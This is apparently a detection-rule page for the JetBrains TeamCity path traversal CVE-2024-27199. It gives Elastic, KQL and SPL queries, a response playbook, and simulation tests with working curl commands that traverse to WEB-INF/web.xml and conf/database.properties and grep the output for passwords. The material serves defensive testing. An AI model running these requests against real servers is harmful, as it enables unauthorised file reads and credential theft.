Detect JetBrains TeamCity Relative Path Traversal (CVE-2024-27199) in Elastic Security
Detects exploitation of CVE-2024-27199, a relative path traversal vulnerability in JetBrains TeamCity on-premises. Unauthenticated attackers can traverse directory paths in the TeamCity web server to access restricted endpoints and files outside the intended web root, potentially leading to information disclosure or authentication bypass chained with CVE-2024-27198.
MITRE ATT&CK
Elastic Detection Query
sequence by source.ip with maxspan=5m
[network where event.category == "network" and
http.request.method in ("GET", "POST") and
(
wildcard(url.path, "*/res/*../*") or
wildcard(url.path, "*/update/*../*") or
wildcard(url.path, "*/icons/*../*") or
url.path like~ "*%2e%2e*" or
url.path like~ "*%252e%252e*"
) and
(
url.path like~ "*/WEB-INF*" or
url.path like~ "*/admin*" or
url.path like~ "*/config*" or
url.path like~ "*server.xml*" or
url.path like~ "*web.xml*"
)
] with runs=3 Uses EQL sequence detection to identify repeated path traversal attempts from the same source IP against JetBrains TeamCity within a 5-minute window, reducing noise from single accidental requests.
Data Sources
Required Tables
False Positives & Tuning
- Automated security scanning tools performing scheduled web application assessments
- Browser extensions or developer tools that construct malformed URLs during testing
- Misconfigured applications that prepend relative paths when constructing TeamCity API calls
- URL normalization bugs in upstream proxies that introduce traversal sequences
Other platforms for CVE-2024-27199
Testing Methodology
Validate this detection against 4 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1TeamCity Path Traversal to WEB-INF via Encoded Dots
Expected signal: HTTP GET request to /res/..%2f..%2f..%2fWEB-INF/web.xml logged in web server access logs with the attacker's IP. Response code 200 if vulnerable, 400/404 if patched or blocked.
- Test 2TeamCity Path Traversal via Double-Encoded Sequences
Expected signal: HTTP request containing %252f in URL path to TeamCity /update/ endpoint visible in web access logs.
- Test 3Automated Traversal Scan Simulation (Multiple Paths)
Expected signal: Five HTTP GET requests from the same source IP to /res/ URL paths containing %2f traversal sequences within a 10-second window, visible in web server access logs.
- Test 4Chain CVE-2024-27199 with Admin Configuration Read
Expected signal: HTTP GET to /icons/ endpoint with traversal sequence targeting conf/database.properties. HTTP 200 response body containing JDBC connection string indicates successful exploitation.
Response Playbook
Triage
- Immediately verify the TeamCity server version: navigate to Administration > About TeamCity or check ${TEAMCITY_HOME}/webapps/ROOT/META-INF/MANIFEST.MF. Versions before 2023.11.4 are vulnerable.
- Review web server access logs (default: ${TEAMCITY_LOGS}/teamcity-server.log and IIS/Apache access logs) for the source IP — look for HTTP 200 responses to paths containing %2e%2e or ../ sequences targeting /res/, /update/, or /icons/ URL prefixes.
- Check whether the traversal reached sensitive paths: WEB-INF/web.xml, server.xml, or internal admin endpoints. HTTP 200 responses to these paths confirm successful traversal.
- Correlate with CVE-2024-27198 indicators: look for authentication bypass attempts (unauthenticated requests to /app/rest/ or /remoteCall/ API endpoints) from the same source IP, as the two CVEs are frequently chained.
- Query TeamCity's internal audit log (Administration > Audit) for any configuration changes, new user creation, or token generation that occurred around the time of traversal requests.
Containment
- Apply the emergency patch immediately: upgrade TeamCity to version 2023.11.4 or later. If patching is not immediately possible, apply JetBrains' published workaround (restrict network access to the TeamCity port at the firewall level) and block the attacker's IP at the perimeter.
- Rotate all TeamCity API tokens, service account credentials, and any secrets stored in TeamCity build configurations or parameters — assume these were read if traversal returned HTTP 200 to configuration paths. Revoke and reissue VCS integration tokens and cloud provider credentials stored in TeamCity.
Evidence Collection
- Export full web server access logs covering the attack window: collect all HTTP requests from the attacker IP, preserving raw encoded URLs, response codes, response sizes, and timestamps. Archive to tamper-evident storage.
- Capture TeamCity server logs from ${TEAMCITY_LOGS}/teamcity-server.log, teamcity-activities.log, and the internal audit log. These contain server-side processing of traversal requests and any resulting privilege escalation or configuration reads.
Escalation Criteria
- !Escalate to incident response if any HTTP 200 response is observed for traversal paths targeting WEB-INF/, server.xml, internal admin endpoints, or build configuration data — successful read access means credentials may be compromised.
- !Escalate immediately if the attacker IP shows follow-on activity: authenticated API calls, new user account creation, build agent registration, or execution of build configurations, as this indicates CVE-2024-27198 chaining or post-exploitation persistence.
Investigation Guide
Related Techniques
Forensic Artifacts
- >
Web server access logs with raw URL encoding showing %2e%2e or %252e%252e sequences in TeamCity URL paths - >
TeamCity server log entries showing file read operations outside the expected web root directory - >
TeamCity audit log showing configuration changes, new API token generation, or user creation following traversal activity - >
Network flow logs showing the attacker IP establishing connections to TeamCity port (default 8111) with unusual request volumes or timing - >
File system timestamps on TeamCity configuration files (config/ directory, database.properties) indicating unexpected access
Tuning Guidance
Start by establishing a baseline of legitimate TeamCity traffic patterns for the /res/ and /icons/ URL prefixes — these serve static assets and should never contain dot-dot sequences. After initial deployment, set the request_count threshold at 3 to catch automated scanning, then review false positives from authorized scanners and add their IP ranges to an exclusion list. If TeamCity sits behind a WAF that performs URL decoding before logging, ensure your detection covers decoded paths (plain ../) not just encoded variants. For environments where TeamCity is only accessible via VPN, consider dropping the threshold to 1 and alerting on any traversal attempt regardless of count. Review response codes carefully: HTTP 200 responses to traversal paths warrant immediate escalation while 400/404 responses may indicate blocked or unsuccessful attempts.
Hunting Queries
Retrospective 7-day hunt across IIS logs for any path traversal attempts against TeamCity URL prefixes, including single low-volume probes that may have been missed by threshold-based alerting. Surfaces successful (HTTP 200) traversals for immediate investigation.
W3CIISLog
| where TimeGenerated > ago(7d)
| where csUriStem matches regex @"(?i)/(?:res|update|icons|plugins)/"
| where csUriStem matches regex @"(?i)(?:%2e|\\.)(?:%2e|\\.)(?:%2f|/)"
| where scStatus in (200, 403, 500)
| summarize TotalRequests=count(), Successful=countif(scStatus==200), Forbidden=countif(scStatus==403) by cIP, bin(TimeGenerated, 1h)
| where TotalRequests >= 1
| order by Successful desc index=web sourcetype=iis earliest=-7d
| rex field=cs_uri_stem "(?i)(?<traversal_seq>(?:%2e%2e|%252e%252e|\.\.)(?:%2f|/))"
| where isnotnull(traversal_seq)
| where match(cs_uri_stem, "(?i)/(?:res|update|icons|plugins)/")
| stats count as hits, dc(cs_uri_stem) as unique_paths, values(sc_status) as status_codes by c_ip, date_hour
| sort -hits Atomic Red Team Tests
Simulates CVE-2024-27199 exploitation by sending an HTTP GET request with URL-encoded path traversal sequences to reach the WEB-INF/web.xml configuration file via the /res/ endpoint.
Command
curl -v -k 'http://TARGET_TEAMCITY:8111/res/..%2f..%2f..%2fWEB-INF/web.xml' -H 'User-Agent: Mozilla/5.0' --max-time 10 Cleanup
No cleanup required — this is a read-only HTTP request. Review TeamCity access logs to confirm the test was logged. Expected Telemetry
HTTP GET request to /res/..%2f..%2f..%2fWEB-INF/web.xml logged in web server access logs with the attacker's IP. Response code 200 if vulnerable, 400/404 if patched or blocked.
Expected Detection
Alert triggered by kql or spl query matching %2f traversal sequence in /res/ URL path targeting WEB-INF.
Tests detection of double-encoded path traversal (%252e%252e = double-encoded ..) which bypasses naive single-decode filters in WAFs and logging systems.
Command
curl -v -k 'http://TARGET_TEAMCITY:8111/update/..%252f..%252f..%252fWEB-INF/web.xml' -H 'User-Agent: Mozilla/5.0' --max-time 10 Cleanup
No cleanup required. Confirm detection fired for the double-encoded variant. Expected Telemetry
HTTP request containing %252f in URL path to TeamCity /update/ endpoint visible in web access logs.
Expected Detection
Alert triggered by queries matching %252e%252e or %252f pattern in TeamCity URL paths.
Simulates a scanner probing multiple traversal targets in rapid succession to trigger threshold-based detection rules. Sends 5 traversal requests in under 60 seconds from the same IP.
Command
for path in 'WEB-INF/web.xml' 'WEB-INF/classes/log4j.properties' 'conf/server.xml' 'admin/index.jsp' 'config/database.properties'; do curl -sk 'http://TARGET_TEAMCITY:8111/res/..%2f..%2f..%2f'"$path" -o /dev/null -w "%{http_code} $path\n"; sleep 2; done Cleanup
No cleanup required — all requests are read-only GETs. Document HTTP response codes for each path to establish which traversals succeeded. Expected Telemetry
Five HTTP GET requests from the same source IP to /res/ URL paths containing %2f traversal sequences within a 10-second window, visible in web server access logs.
Expected Detection
Threshold-based alert firing on request_count >= 3 from the same source IP within the 5-minute aggregation window.
Simulates reading the TeamCity database configuration file via path traversal, which could expose database credentials as part of a wider compromise chain.
Command
curl -v -k 'http://TARGET_TEAMCITY:8111/icons/..%2f..%2f..%2f..%2fconf%2fdatabase.properties' -H 'Accept: */*' --max-time 10 2>&1 | grep -E '(HTTP|password|jdbc|url)' Cleanup
No cleanup required. If the file is returned, rotate any credentials found immediately as they are compromised. Expected Telemetry
HTTP GET to /icons/ endpoint with traversal sequence targeting conf/database.properties. HTTP 200 response body containing JDBC connection string indicates successful exploitation.
Expected Detection
Alert triggered by traversal pattern in /icons/ URL path; if HTTP 200 returned, this should trigger escalation path in playbook.